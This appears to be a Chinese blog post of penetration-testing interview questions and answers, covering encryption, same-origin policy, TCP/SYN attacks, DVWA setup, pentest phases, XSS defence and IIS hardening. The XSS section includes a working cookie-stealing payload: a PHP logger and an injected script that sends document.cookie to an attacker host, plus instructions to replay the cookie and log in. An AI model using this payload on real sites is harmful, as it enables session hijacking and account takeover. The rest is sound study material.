渗透测试技术题（面试、笔试）

本篇文章主要涉及一下几个方面：

[java]view plain copy
对称加密非对称加密？  
什么是同源策略？  
cookie存在哪里？可以打开吗  
xss如何盗取cookie？  
tcp、udp的区别及tcp三次握手，syn攻击？  
证书要考哪些？  
DVWA是如何搭建的？  
渗透测试的流程是什么  
xss如何防御  
IIS服务器应该做哪些方面的保护措施：  
虚拟机的几种连接方式及原理  
xss有cookie一定可以无用户名密码登录吗？  

对称加密非对称加密？

对称加密：加解密用同一密钥，密钥维护复杂 n（n-1）/2，不适合互联网传输密钥，加解密效率高。应用于加密数据。
非对称加密：公钥推不出私钥，每个用户一个非对称密钥对就可以，适合于互联网传输公钥，但是加密效率低，应用于数字签名及加密。

什么是同源策略？

为了防止不同域在用户浏览器中彼此干扰，浏览器对从不同来源（域）收到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的cookie，否则，会话容易被劫持。

只有发布cookie的站点能够访问这些cookie，只有通过该站点返回的页面所包含或加载的JavaScript才能访问cookie。

cookie存在哪里？可以打开吗

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到cookies文件夹。

xss如何盗取cookie？

攻击者代码：

[php]view plain copy
<?php  
$cookie=$_GET['cookie'];  
$time=date('Y-m-d g:i:s');  
$referer=getenv('HTTP_REFERER');  
$cookietxt=fopen('cookie.txt','a');  
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号，容易出错  
fclose($cookietxt);  
?>  

脚本端：

[java]view plain copy
<script>  
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');  
</script>  

获取到cookie后，用firebug找到cookie，新建cookie
加入cookie，用referer来提交，无需输入帐号密码直接登录进去！

tcp、udp的区别及tcp三次握手，syn攻击？

扫描二维码关注公众号，回复： 6055275 查看本文章

一、tcp、udp区别

TCP的优点：

可靠，稳定
TCP 的可靠体现在 TCP 在传递数据之前，会有三次握手来建立连接，而且在数据传递时，有确认、窗口、重传、拥塞控制机制，在数据传完后，还会断开连接用来节约系统资源。
TCP 的缺点：

慢，效率低，占用系统资源高，易被攻击
TCP 在传递数据之前，要先建连接，这会消耗时间，而且在数据传递时，确认机制、重传机制、拥塞控制机制等都会消耗大量的时间，而且要在每台设备上维护所有的传输连接，事实上，每个连接都会占用系统的 CPU 、内存等硬件资源。
而且，因为 TCP 有确认机制、三次握手机制，这些也导致 TCP 容易被人利用，实现 DOS 、 DDOS 、 CC 等攻击。

UDP的优点：

快，比 TCP 稍安全
UDP 没有 TCP 的握手、确认、窗口、重传、拥塞控制等机制， UDP 是一个无状态的传输协议，所以它在传递数据时非常快。没有 TCP 的这些机制， UDP 较 TCP 被攻击者利用的漏洞就要少一些。但 UDP 也是无法避免攻击的，比如： UDP Flood 攻击 ……
UDP 的缺点：

不可靠，不稳定
因为 UDP 没有 TCP 那些可靠的机制，在数据传递时，如果网络质量不好，就会很容易丢包。
基于上面的优缺点，那么：

什么时候应该使用 TCP ：
当对网络通讯质量有要求的时候，比如：整个数据要准确无误的传递给对方，这往往用于一些要求可靠的应用，比如 HTTP 、 HTTPS 、 FTP 等传输文件的协议， POP 、 SMTP 等邮件传输的协议。
在日常生活中，常见使用 TCP 协议的应用如下：

浏览器，用的 HTTP
FlashFXP ，用的 FTP
Outlook ，用的 POP 、 SMTP
Putty ，用的 Telnet 、 SSH
QQ 文件传输
…………
什么时候应该使用 UDP ：
当对网络通讯质量要求不高的时候，要求网络通讯速度能尽量的快，这时就可以使用 UDP 。
比如，日常生活中，常见使用 UDP 协议的应用如下：

QQ 语音
QQ 视频
TFTP

二、TCP握手协议
在 TCP/IP 协议中， TCP 协议提供可靠的连接服务，采用三次握手建立一个连接。
第一次握手：建立连接时，客户端发送 syn 包 (syn=j) 到服务器，并进入 SYN_SEND 状态，等待服务器确认；
第二次握手：服务器收到 syn 包，必须确认客户的 SYN （ ack=j+1 ），同时自己也发送一个 SYN 包（ syn=k ），
即 SYN+ACK 包，此时服务器进入 SYN_RECV 状态；
第三次握手：客户端收到服务器的 SYN+ACK 包，向服务器发送确认包 ACK(ack=k+1) ，此包发送完毕，
客户端和服务器进入 ESTABLISHED 状态，完成三次握手。

完成三次握手，客户端与服务器开始传送数据，在上述过程中，还有一些重要的概念：
未连接队列：在三次握手协议中，服务器维护一个未连接队列，该队列为每个客户端的 SYN 包（ syn=j ）开设一个条目，
该条目表明服务器已收到 SYN 包，并向客户发出确认，正在等待客户的确认包。这些条目所标识的连接在服务器处于 Syn_RECV 状态，
当服务器收到客户的确认包时，删除该条目，服务器进入 ESTABLISHED 状态。 backlog 参数：表示未连接队列的最大容纳数目。
SYN-ACK 重传次数　服务器发送完 SYN － ACK 包，如果未收到客户确认包，服务器进行首次重传，等待一段时间仍未收到客户确认包，
进行第二次重传，如果重传次数超过系统规定的最大重传次数，系统将该连接信息从半连接队列中删除。注意，每次重传等待的时间不一定相同。
半连接存活时间：是指半连接队列的条目存活的最长时间，也即服务从收到 SYN 包到确认这个报文无效的最长时间，
该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为 Timeout 时间、 SYN_RECV 存活时间。

三、SYN攻击原理
SYN 攻击属于 DOS 攻击的一种，它利用 TCP 协议缺陷，通过发送大量的半连接请求，耗费 CPU 和内存资源。
SYN 攻击除了能影响主机外，还可以危害路由器、防火墙等网络系统，事实上 SYN 攻击并不管目标是什么系统，
只要这些系统打开 TCP 服务就可以实施。从上图可看到，服务器接收到连接请求（ syn=j ），
将此信息加入未连接队列，并发送请求包给客户（ syn=k,ack=j+1 ），此时进入 SYN_RECV 状态。
当服务器未收到客户端的确认包时，重发请求包，一直到超时，才将此条目从未连接队列删除。
配合 IP 欺骗， SYN 攻击能达到很好的效果，通常，客户端在短时间内伪造大量不存在的 IP 地址，
向服务器不断地发送 syn 包，服务器回复确认包，并等待客户的确认，由于源地址是不存在的，
服务器需要不断的重发直至超时，这些伪造的 SYN 包将长时间占用未连接队列，正常的 SYN 请求被丢弃，
目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。

证书要考哪些？

信息安全国际第一认证——CISSP
信息安全国内认证——CISAW
信息安全国内认证——CISP
信息安全技术实操认证新贵——Security+
IT审计人员的必备之证——CISA

DVWA是如何搭建的？

启动xampp（XAMPP（Apache+MySQL+PHP+PERL）是一个功能强大的建站集成软件包。）下的apache中间件和mysql
将dvwa放到xampp下的htdocs目录下
在浏览器输入http://127.0.0.1/dvwa 即可使用啦！
还有owasp的漏洞练习平台：https://sourceforge.net/projects/owaspbwa/files/

渗透测试的流程是什么

渗透测试流程概述
前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、
渗透攻击阶段（Exploitation）、后渗透攻击阶段（怎么一直控制，维持访问）、报告阶段。

攻击前：网络踩点、网络扫描、网络查点
攻击中：利用漏洞信息进行渗透攻击、获取权限
攻击后：后渗透维持攻击、文件拷贝、木马植入、痕迹擦除

xss如何防御

1.对前端输入做过滤和编码：
比如只允许输入指定类型的字符，比如电话号格式，注册用户名限制等，输入检查需要在服务器端完成，在前端完成的限制是容易绕过的；
对特殊字符进行过滤和转义；
2.对输出做过滤和编码：在变量值输出到前端的HTML时进行编码和转义；
3.给关键cookie使用http-only

IIS服务器应该做哪些方面的保护措施：

整理来源：http://www.williamlong.info/archives/118.html
1. 保持Windows升级:
2. 使用IIS防范工具
3. 移除缺省的Web站点
4. 如果你并不需要FTP和SMTP服务，请卸载它们
5. 有规则地检查你的管理员组和服务:
6. 严格控制服务器的写访问权限
7. 设置复杂的密码
8. 减少/排除Web服务器上的共享
9. 禁用TCP/IP协议中的NetBIOS:
10. 使用TCP端口阻塞
11. 仔细检查*.bat和*.exe 文件: 每周搜索一次*.bat
12. 管理IIS目录安全:
13. 使用NTFS安全:
14. 管理用户账户
15. 审计你的Web服务器:

渗透测试技术题（面试、笔试）

猜你喜欢